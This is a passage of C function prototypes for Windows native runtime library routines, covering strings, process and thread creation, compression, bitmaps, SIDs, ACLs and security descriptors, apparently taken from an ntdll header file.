PSTRING DestinationString, PCSZ SourceString ); VOID NTAPI RtlInitAnsiString( PANSI_STRING DestinationString, PCSZ SourceString ); NTSTATUS NTAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSTATUS NTAPI RtlInitUnicodeStringEx( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSTATUS NTAPI RtlInitAnsiStringEx( OUT PANSI_STRING DestinationString, IN PCSZ SourceString OPTIONAL ); BOOLEAN NTAPI RtlCreateUnicodeString( OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); BOOLEAN NTAPI RtlEqualDomainName( IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2 ); BOOLEAN NTAPI RtlEqualComputerName( IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2 ); NTSTATUS RtlDnsHostNameToComputerName( OUT PUNICODE_STRING ComputerNameString, IN PCUNICODE_STRING DnsHostNameString, IN BOOLEAN AllocateComputerNameString ); BOOLEAN NTAPI RtlCreateUnicodeStringFromAsciiz( OUT PUNICODE_STRING DestinationString, IN PCSZ SourceString ); VOID NTAPI RtlCopyString( PSTRING DestinationString, const STRING * SourceString ); CHAR NTAPI RtlUpperChar ( CHAR Character ); LONG NTAPI RtlCompareString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); BOOLEAN NTAPI RtlEqualString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); BOOLEAN NTAPI RtlPrefixString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); VOID NTAPI RtlUpperString( PSTRING DestinationString, const STRING * SourceString ); NTSTATUS NTAPI RtlAppendAsciizToString ( PSTRING Destination, PCSZ Source ); NTSTATUS NTAPI RtlAppendStringToString ( PSTRING Destination, const STRING * Source ); NTSTATUS NTAPI RtlAnsiStringToUnicodeString( PUNICODE_STRING DestinationString, PCANSI_STRING SourceString, BOOLEAN AllocateDestinationString ); WCHAR NTAPI RtlAnsiCharToUnicodeChar( PUCHAR *SourceCharacter ); NTSTATUS NTAPI RtlUnicodeStringToAnsiString( PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUpcaseUnicodeStringToAnsiString( PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlOemStringToUnicodeString( PUNICODE_STRING DestinationString, PCOEM_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUnicodeStringToOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUpcaseUnicodeStringToOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlOemStringToCountedUnicodeString( PUNICODE_STRING DestinationString, PCOEM_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUnicodeStringToCountedOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUpcaseUnicodeStringToCountedOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); LONG NTAPI RtlCompareUnicodeString( PCUNICODE_STRING String1, PCUNICODE_STRING String2, BOOLEAN CaseInSensitive ); BOOLEAN NTAPI RtlEqualUnicodeString( PCUNICODE_STRING String1, PCUNICODE_STRING String2, BOOLEAN CaseInSensitive ); NTSTATUS NTAPI RtlHashUnicodeString( IN const UNICODE_STRING *String, IN BOOLEAN CaseInSensitive, IN ULONG HashAlgorithm, OUT PULONG HashValue ); NTSTATUS NTAPI RtlValidateUnicodeString( IN ULONG Flags, IN const UNICODE_STRING *String ); NTSTATUS NTAPI RtlDuplicateUnicodeString( IN ULONG Flags, IN const UNICODE_STRING *StringIn, OUT UNICODE_STRING *StringOut ); BOOLEAN NTAPI RtlPrefixUnicodeString( IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive ); NTSTATUS NTAPI RtlUpcaseUnicodeString( PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlFindCharInUnicodeString( IN ULONG Flags, IN PCUNICODE_STRING StringToSearch, IN PCUNICODE_STRING CharSet, OUT USHORT *NonInclusivePrefixLength ); VOID NTAPI RtlCopyUnicodeString( PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString ); NTSTATUS NTAPI RtlAppendUnicodeStringToString ( PUNICODE_STRING Destination, PCUNICODE_STRING Source ); NTSTATUS NTAPI RtlAppendUnicodeToString ( PUNICODE_STRING Destination, PCWSTR Source ); WCHAR NTAPI RtlUpcaseUnicodeChar( WCHAR SourceCharacter ); WCHAR NTAPI RtlDowncaseUnicodeChar( WCHAR SourceCharacter ); VOID NTAPI RtlFreeUnicodeString( PUNICODE_STRING UnicodeString ); VOID NTAPI RtlFreeAnsiString( PANSI_STRING AnsiString ); VOID NTAPI RtlFreeOemString( POEM_STRING OemString ); ULONG NTAPI RtlxUnicodeStringToAnsiSize( PCUNICODE_STRING UnicodeString ); ULONG NTAPI RtlxUnicodeStringToOemSize( PCUNICODE_STRING UnicodeString ); ULONG NTAPI RtlxAnsiStringToUnicodeSize( PCANSI_STRING AnsiString ); ULONG NTAPI RtlxOemStringToUnicodeSize( PCOEM_STRING OemString ); NTSTATUS NTAPI RtlMultiByteToUnicodeN( OUT PWCH UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString, IN PCSTR MultiByteString, IN ULONG BytesInMultiByteString ); NTSTATUS NTAPI RtlMultiByteToUnicodeSize( PULONG BytesInUnicodeString, PCSTR MultiByteString, ULONG BytesInMultiByteString ); NTSTATUS NTAPI RtlUnicodeToMultiByteSize( OUT PULONG BytesInMultiByteString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUnicodeToMultiByteN( OUT PCHAR MultiByteString, IN ULONG MaxBytesInMultiByteString, OUT OPTIONAL PULONG BytesInMultiByteString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUpcaseUnicodeToMultiByteN( OUT PCHAR MultiByteString, IN ULONG MaxBytesInMultiByteString, OUT OPTIONAL PULONG BytesInMultiByteString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlOemToUnicodeN( OUT PWSTR UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString, IN PCH OemString, IN ULONG BytesInOemString ); NTSTATUS NTAPI RtlUnicodeToOemN( OUT PCHAR OemString, IN ULONG MaxBytesInOemString, OUT OPTIONAL PULONG BytesInOemString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUpcaseUnicodeToOemN( OUT PCHAR OemString, IN ULONG MaxBytesInOemString, OUT OPTIONAL PULONG BytesInOemString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlConsoleMultiByteToUnicodeN( OUT PWCH UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL, IN PCH MultiByteString, IN ULONG BytesInMultiByteString, OUT PULONG pdwSpecialChar ); BOOLEAN NTAPI RtlIsTextUnicode( IN CONST VOID* Buffer, IN ULONG Size, _Inout_ PULONG Result OPTIONAL ); NTSTATUS NTAPI RtlStringFromGUID( IN REFGUID Guid, OUT PUNICODE_STRING GuidString ); NTSTATUS NTAPI RtlGUIDFromString( IN PUNICODE_STRING GuidString, OUT GUID* Guid ); VOID NTAPI RtlGenerate8dot3Name ( IN PUNICODE_STRING Name, IN BOOLEAN AllowExtendedCharacters, _Inout_ PGENERATE_NAME_CONTEXT Context, OUT PUNICODE_STRING Name8dot3 ); BOOLEAN NTAPI RtlIsNameLegalDOS8Dot3 ( IN PUNICODE_STRING Name, _Inout_ POEM_STRING OemName OPTIONAL, _Inout_ PBOOLEAN NameContainsSpaces OPTIONAL ); VOID NTAPI RtlInitializeContext( HANDLE Process, PCONTEXT Context, PVOID Parameter, PVOID InitialPc, PVOID InitialSp ); NTSTATUS NTAPI RtlRemoteCall( HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG_PTR Arguments, BOOLEAN PassContext, BOOLEAN AlreadySuspended ); VOID NTAPI RtlAcquirePebLock( ); VOID NTAPI RtlReleasePebLock( ); NTSTATUS NTAPI RtlAllocateFromPeb( ULONG Size, PVOID *Block ); NTSTATUS NTAPI RtlFreeToPeb( PVOID Block, ULONG Size ); NTSTATUS STDAPIVCALLTYPE RtlSetProcessIsCritical( IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag ); NTSTATUS STDAPIVCALLTYPE RtlSetThreadIsCritical( IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag ); NTSTATUS NTAPI RtlCreateEnvironment( BOOLEAN CloneCurrentEnvironment, PVOID *Environment ); NTSTATUS NTAPI RtlDestroyEnvironment( PVOID Environment ); NTSTATUS NTAPI RtlSetCurrentEnvironment( PVOID Environment, PVOID *PreviousEnvironment ); NTSTATUS NTAPI RtlSetEnvironmentVariable( PVOID *Environment, PCUNICODE_STRING Name, PCUNICODE_STRING Value ); ULONG RtlIsDosDeviceName_U( IN PWSTR DosFileName ); NTSTATUS NTAPI RtlQueryEnvironmentVariable_U ( PVOID Environment, PCUNICODE_STRING Name, PUNICODE_STRING Value ); NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( IN PVOID Environment OPTIONAL, IN PCUNICODE_STRING Source, OUT PUNICODE_STRING Destination, OUT PULONG ReturnedLength OPTIONAL ); VOID NTAPI PfxInitialize ( PPREFIX_TABLE PrefixTable ); BOOLEAN NTAPI PfxInsertPrefix ( PPREFIX_TABLE PrefixTable, PSTRING Prefix, PPREFIX_TABLE_ENTRY PrefixTableEntry ); VOID NTAPI PfxRemovePrefix ( PPREFIX_TABLE PrefixTable, PPREFIX_TABLE_ENTRY PrefixTableEntry ); PPREFIX_TABLE_ENTRY NTAPI PfxFindPrefix ( PPREFIX_TABLE PrefixTable, PSTRING FullName ); VOID NTAPI RtlInitializeUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable ); BOOLEAN NTAPI RtlInsertUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, PUNICODE_STRING Prefix, PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry ); VOID NTAPI RtlRemoveUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry ); PUNICODE_PREFIX_TABLE_ENTRY NTAPI RtlFindUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, PUNICODE_STRING FullName, ULONG CaseInsensitiveIndex ); PUNICODE_PREFIX_TABLE_ENTRY NTAPI RtlNextUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, BOOLEAN Restart ); NTSTATUS NTAPI RtlGetCompressionWorkSpaceSize ( IN USHORT CompressionFormatAndEngine, OUT PULONG CompressBufferWorkSpaceSize, OUT PULONG CompressFragmentWorkSpaceSize ); NTSTATUS NTAPI RtlCompressBuffer ( IN USHORT CompressionFormatAndEngine, IN PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, OUT PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN ULONG UncompressedChunkSize, OUT PULONG FinalCompressedSize, IN PVOID WorkSpace ); NTSTATUS NTAPI RtlDecompressBuffer ( IN USHORT CompressionFormat, OUT PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, OUT PULONG FinalUncompressedSize ); NTSTATUS NTAPI RtlDecompressFragment ( IN USHORT CompressionFormat, OUT PUCHAR UncompressedFragment, IN ULONG UncompressedFragmentSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN ULONG FragmentOffset, OUT PULONG FinalUncompressedSize, IN PVOID WorkSpace ); NTSTATUS NTAPI RtlDescribeChunk ( IN USHORT CompressionFormat, _Inout_ PUCHAR *CompressedBuffer, IN PUCHAR EndOfCompressedBufferPlus1, OUT PUCHAR *ChunkBuffer, OUT PULONG ChunkSize ); NTSTATUS NTAPI RtlReserveChunk ( IN USHORT CompressionFormat, _Inout_ PUCHAR *CompressedBuffer, IN PUCHAR EndOfCompressedBufferPlus1, OUT PUCHAR *ChunkBuffer, IN ULONG ChunkSize ); NTSTATUS NTAPI RtlDecompressChunks ( OUT PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN PUCHAR CompressedTail, IN ULONG CompressedTailSize, IN PCOMPRESSED_DATA_INFO CompressedDataInfo ); NTSTATUS NTAPI RtlCompressChunks ( IN PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, OUT PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, _Inout_ PCOMPRESSED_DATA_INFO CompressedDataInfo, IN ULONG CompressedDataInfoLength, IN PVOID WorkSpace ); NTSTATUS NTAPI RtlCreateProcessParameters( PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData ); NTSTATUS NTAPI RtlDestroyProcessParameters( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); PRTL_USER_PROCESS_PARAMETERS NTAPI RtlNormalizeProcessParams( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); PRTL_USER_PROCESS_PARAMETERS NTAPI RtlDeNormalizeProcessParams( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); NTSTATUS NTAPI RtlCreateUserProcess( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation ); NTSTATUS NTAPI RtlCreateUserThread( HANDLE Process, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, BOOLEAN CreateSuspended, ULONG StackZeroBits, SIZE_T MaximumStackSize OPTIONAL, SIZE_T InitialStackSize OPTIONAL, PUSER_THREAD_START_ROUTINE StartAddress, PVOID Parameter, PHANDLE Thread, PCLIENT_ID ClientId ); VOID NTAPI RtlExitUserThread ( IN NTSTATUS ExitStatus ); VOID NTAPI RtlFreeUserThreadStack( HANDLE hProcess, HANDLE hThread ); /* PVOID NTAPI RtlPcToFileHeader( PVOID PcValue, PVOID *BaseOfImage );*/ NTSTATUS NTAPI RtlImageNtHeaderEx( ULONG Flags, PVOID Base, ULONG64 Size, OUT PIMAGE_NT_HEADERS * OutHeaders ); PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( PVOID Base ); PVOID NTAPI RtlAddressInSectionTable ( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID BaseOfImage, IN ULONG VirtualAddress ); PIMAGE_SECTION_HEADER NTAPI RtlSectionTableFromVirtualAddress ( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID BaseOfImage, IN ULONG VirtualAddress ); NTSTATUS NTAPI RtlImageDirectoryEntryToData( PVOID BaseOfImage, BOOLEAN MappedAsImage, USHORT DirectoryEntry, PULONG Size ); PVOID RtlImageDirectoryEntryToData32 ( IN PVOID Base, IN BOOLEAN MappedAsImage, IN USHORT DirectoryEntry, OUT PULONG Size ); PIMAGE_SECTION_HEADER NTAPI RtlImageRvaToSection( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID Base, IN ULONG Rva ); PVOID NTAPI RtlImageRvaToVa( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID Base, IN ULONG Rva, _Inout_ PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL ); VOID NTAPI RtlCopyMemoryNonTemporal ( VOID UNALIGNED *Destination, CONST VOID UNALIGNED *Source, SIZE_T Length ); VOID __fastcall RtlPrefetchMemoryNonTemporal( IN PVOID Source, IN SIZE_T Length ); SIZE_T NTAPI RtlCompareMemoryUlong ( PVOID Source, SIZE_T Length, ULONG Pattern ); VOID NTAPI RtlFillMemoryUlong ( PVOID Destination, SIZE_T Length, ULONG Pattern ); VOID NTAPI RtlFillMemoryUlonglong ( PVOID Destination, SIZE_T Length, ULONGLONG Pattern ); VOID NTAPI RtlInitializeExceptionLog( IN ULONG Entries ); LONG NTAPI RtlUnhandledExceptionFilter( IN struct _EXCEPTION_POINTERS *ExceptionInfo ); LONG NTAPI RtlUnhandledExceptionFilter2( IN struct _EXCEPTION_POINTERS *ExceptionInfo, IN PCSTR Function ); VOID NTAPI DbgUserBreakPoint( VOID ); VOID NTAPI DbgBreakPointWithStatus( IN ULONG Status ); ULONG DbgPrintEx ( IN ULONG ComponentId, IN ULONG Level, IN PCH Format, ... ); ULONG NTAPI vDbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCH Format, IN va_list arglist ); ULONG NTAPI vDbgPrintExWithPrefix ( IN PCH Prefix, IN ULONG ComponentId, IN ULONG Level, IN PCH Format, IN va_list arglist ); ULONG DbgPrintReturnControlC ( IN PCHAR Format, ... ); NTSTATUS NTAPI DbgQueryDebugFilterState ( IN ULONG ComponentId, IN ULONG Level ); NTSTATUS NTAPI DbgSetDebugFilterState ( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State ); ULONG NTAPI DbgPrompt ( IN PCH Prompt, OUT PCH Response, IN ULONG Length ); VOID NTAPI DbgLoadImageSymbols ( IN PSTRING FileName, IN PVOID ImageBase, IN ULONG_PTR ProcessId ); VOID NTAPI DbgUnLoadImageSymbols ( IN PSTRING FileName, IN PVOID ImageBase, IN ULONG_PTR ProcessId ); VOID NTAPI DbgCommandString ( IN PCH Name, IN PCH Command ); BOOLEAN NTAPI RtlCutoverTimeToSystemTime( PTIME_FIELDS CutoverTime, PLARGE_INTEGER SystemTime, PLARGE_INTEGER CurrentSystemTime, BOOLEAN ThisYear ); NTSTATUS NTAPI RtlSystemTimeToLocalTime ( IN PLARGE_INTEGER SystemTime, OUT PLARGE_INTEGER LocalTime ); NTSTATUS NTAPI RtlLocalTimeToSystemTime ( IN PLARGE_INTEGER LocalTime, OUT PLARGE_INTEGER SystemTime ); VOID NTAPI RtlTimeToElapsedTimeFields ( IN PLARGE_INTEGER Time, OUT PTIME_FIELDS TimeFields ); VOID NTAPI RtlTimeToTimeFields ( PLARGE_INTEGER Time, PTIME_FIELDS TimeFields ); BOOLEAN NTAPI RtlTimeFieldsToTime ( PTIME_FIELDS TimeFields, PLARGE_INTEGER Time ); BOOLEAN NTAPI RtlTimeToSecondsSince1980 ( PLARGE_INTEGER Time, PULONG ElapsedSeconds ); VOID NTAPI RtlSecondsSince1980ToTime ( ULONG ElapsedSeconds, PLARGE_INTEGER Time ); BOOLEAN NTAPI RtlTimeToSecondsSince1970 ( PLARGE_INTEGER Time, PULONG ElapsedSeconds ); VOID NTAPI RtlSecondsSince1970ToTime ( ULONG ElapsedSeconds, PLARGE_INTEGER Time ); NTSTATUS NTAPI RtlQueryTimeZoneInformation( OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation ); NTSTATUS NTAPI RtlSetTimeZoneInformation( IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation ); NTSTATUS NTAPI RtlSetActiveTimeBias( IN LONG ActiveBias ); VOID NTAPI RtlInitializeBitMap ( PRTL_BITMAP BitMapHeader, PULONG BitMapBuffer, ULONG SizeOfBitMap ); VOID NTAPI RtlClearBit ( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); VOID NTAPI RtlSetBit ( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); BOOLEAN NTAPI RtlTestBit ( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); VOID NTAPI RtlClearAllBits ( PRTL_BITMAP BitMapHeader ); VOID NTAPI RtlSetAllBits ( PRTL_BITMAP BitMapHeader ); ULONG NTAPI RtlFindClearBits ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); ULONG NTAPI RtlFindSetBits ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); ULONG NTAPI RtlFindClearBitsAndSet ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); ULONG NTAPI RtlFindSetBitsAndClear ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); VOID NTAPI RtlClearBits ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG NumberToClear ); VOID NTAPI RtlSetBits ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG NumberToSet ); ULONG NTAPI RtlFindClearRuns ( PRTL_BITMAP BitMapHeader, PRTL_BITMAP_RUN RunArray, ULONG SizeOfRunArray, BOOLEAN LocateLongestRuns ); ULONG NTAPI RtlFindLongestRunClear ( PRTL_BITMAP BitMapHeader, PULONG StartingIndex ); ULONG NTAPI RtlFindFirstRunClear ( PRTL_BITMAP BitMapHeader, PULONG StartingIndex ); ULONG NTAPI RtlNumberOfClearBits ( PRTL_BITMAP BitMapHeader ); ULONG NTAPI RtlNumberOfSetBits ( PRTL_BITMAP BitMapHeader ); BOOLEAN NTAPI RtlAreBitsClear ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG Length ); BOOLEAN NTAPI RtlAreBitsSet ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG Length ); ULONG NTAPI RtlFindNextForwardRunClear ( IN PRTL_BITMAP BitMapHeader, IN ULONG FromIndex, IN PULONG StartingRunIndex ); ULONG NTAPI RtlFindLastBackwardRunClear ( IN PRTL_BITMAP BitMapHeader, IN ULONG FromIndex, IN PULONG StartingRunIndex ); CCHAR NTAPI RtlFindLeastSignificantBit ( IN ULONGLONG Set ); CCHAR NTAPI RtlFindMostSignificantBit ( IN ULONGLONG Set ); BOOLEAN NTAPI RtlValidSid ( PSID Sid ); BOOLEAN NTAPI RtlEqualSid ( PSID Sid1, PSID Sid2 ); BOOLEAN NTAPI RtlEqualPrefixSid ( PSID Sid1, PSID Sid2 ); ULONG NTAPI RtlLengthRequiredSid ( ULONG SubAuthorityCount ); PVOID NTAPI RtlFreeSid( IN PSID Sid ); NTSTATUS NTAPI RtlInitializeSid( OUT PSID Sid, IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, IN UCHAR SubAuthorityCount ); NTSTATUS NTAPI RtlAllocateAndInitializeSid( IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, IN UCHAR SubAuthorityCount, IN ULONG SubAuthority0, IN ULONG SubAuthority1, IN ULONG SubAuthority2, IN ULONG SubAuthority3, IN ULONG SubAuthority4, IN ULONG SubAuthority5, IN ULONG SubAuthority6, IN ULONG SubAuthority7, OUT PSID *Sid ); PSID_IDENTIFIER_AUTHORITY NTAPI RtlIdentifierAuthoritySid ( PSID Sid ); PULONG NTAPI RtlSubAuthoritySid( IN PSID Sid, IN ULONG SubAuthority ); PUCHAR NTAPI RtlSubAuthorityCountSid ( PSID Sid ); ULONG NTAPI RtlLengthSid ( PSID Sid ); NTSTATUS NTAPI RtlCopySid ( ULONG DestinationSidLength, PSID DestinationSid, PSID SourceSid ); NTSTATUS NTAPI RtlCopySidAndAttributesArray ( ULONG ArrayLength, PSID_AND_ATTRIBUTES Source, ULONG TargetSidBufferSize, PSID_AND_ATTRIBUTES TargetArrayElement, PSID TargetSid, PSID *NextTargetSid, PULONG RemainingTargetSidSize ); NTSTATUS NTAPI RtlLengthSidAsUnicodeString( PSID Sid, PULONG StringLength ); NTSTATUS NTAPI RtlConvertSidToUnicodeString( PUNICODE_STRING UnicodeString, PSID Sid, BOOLEAN AllocateDestinationString ); VOID NTAPI RtlCopyLuid ( PLUID DestinationLuid, PLUID SourceLuid ); VOID NTAPI RtlCopyLuidAndAttributesArray ( ULONG ArrayLength, PLUID_AND_ATTRIBUTES Source, PLUID_AND_ATTRIBUTES Target ); BOOLEAN NTAPI RtlAreAllAccessesGranted( ACCESS_MASK GrantedAccess, ACCESS_MASK DesiredAccess ); BOOLEAN NTAPI RtlAreAnyAccessesGranted( ACCESS_MASK GrantedAccess, ACCESS_MASK DesiredAccess ); VOID NTAPI RtlMapGenericMask( PACCESS_MASK AccessMask, PGENERIC_MAPPING GenericMapping ); NTSTATUS NTAPI RtlCreateAcl( OUT PACL Acl, IN ULONG AclLength, IN ULONG AclRevision ); BOOLEAN NTAPI RtlValidAcl( PACL Acl ); NTSTATUS NTAPI RtlQueryInformationAcl( PACL Acl, PVOID AclInformation, ULONG AclInformationLength, ACL_INFORMATION_CLASS AclInformationClass ); NTSTATUS NTAPI RtlSetInformationAcl( PACL Acl, PVOID AclInformation, ULONG AclInformationLength, ACL_INFORMATION_CLASS AclInformationClass ); NTSTATUS NTAPI RtlAddAce( PACL Acl, ULONG AceRevision, ULONG StartingAceIndex, PVOID AceList, ULONG AceListLength ); NTSTATUS NTAPI RtlDeleteAce( PACL Acl, ULONG AceIndex ); NTSTATUS NTAPI RtlGetAce( PACL Acl, ULONG AceIndex, PVOID *Ace ); NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID Owner, _In_opt_ BOOLEAN OwnerDefaulted ); NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PSID *Owner, OUT PBOOLEAN OwnerDefaulted ); NTSTATUS NTAPI RtlAddAccessAllowedAce( PACL Acl, ULONG AceRevision, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAccessAllowedAceEx( PACL Acl, ULONG AceRevision, ULONG AceFlags, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAccessDeniedAce( PACL Acl, ULONG AceRevision, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAccessDeniedAceEx( PACL Acl, ULONG AceRevision, ULONG AceFlags, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAuditAccessAce( PACL Acl, ULONG AceRevision, ACCESS_MASK AccessMask, PSID Sid, BOOLEAN AuditSuccess, BOOLEAN AuditFailure ); NTSTATUS NTAPI RtlAddAuditAccessAceEx( PACL Acl, ULONG AceRevision, ULONG AceFlags, ACCESS_MASK AccessMask, PSID Sid, BOOLEAN AuditSuccess, BOOLEAN AuditFailure ); NTSTATUS NTAPI RtlAddAccessAllowedObjectAce( _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, IN GUID *ObjectTypeGuid OPTIONAL, IN GUID *InheritedObjectTypeGuid OPTIONAL, IN PSID Sid ); NTSTATUS NTAPI RtlAddAccessDeniedObjectAce( _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, IN GUID *ObjectTypeGuid OPTIONAL, IN GUID *InheritedObjectTypeGuid OPTIONAL, IN PSID Sid ); NTSTATUS NTAPI RtlAddAuditAccessObjectAce( _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, IN GUID *ObjectTypeGuid OPTIONAL, IN GUID *InheritedObjectTypeGuid OPTIONAL, IN PSID Sid, BOOLEAN AuditSuccess, BOOLEAN AuditFailure ); BOOLEAN NTAPI RtlFirstFreeAce( PACL Acl, PVOID *FirstFree ); NTSTATUS NTAPI RtlAddCompoundAce( IN PACL Acl, IN ULONG AceRevision, IN UCHAR AceType, IN ACCESS_MASK AccessMask, IN PSID ServerSid, IN PSID ClientSid ); NTSTATUS NTAPI RtlCreateSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor, ULONG Revision ); NTSTATUS NTAPI RtlCreateSecurityDescriptorRelative( PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, ULONG Revision ); BOOLEAN NTAPI RtlValidSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor ); ULONG NTAPI RtlLengthSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor ); BOOLEAN NTAPI RtlValidRelativeSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptorInput, IN ULONG SecurityDescriptorLength, IN SECURITY_INFORMATION RequiredInformation ); NTSTATUS NTAPI RtlGetControlSecurityDescriptor ( PSECURITY_DESCRIPTOR SecurityDescriptor, PSECURITY_DESCRIPTOR_CONTROL Control, PULONG Revision ); NTSTATUS NTAPI RtlSetControlSecurityDescriptor ( IN PSECURITY_DESCRIPTOR pSecurityDescriptor, IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet ); NTSTATUS NTAPI RtlSetAttributesSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN SECURITY_DESCRIPTOR_CONTROL Control, _Inout_ PULONG Revision ); NTSTATUS NTAPI RtlSetDaclSecurityDescriptor ( PSECURITY_DESCRIPTOR 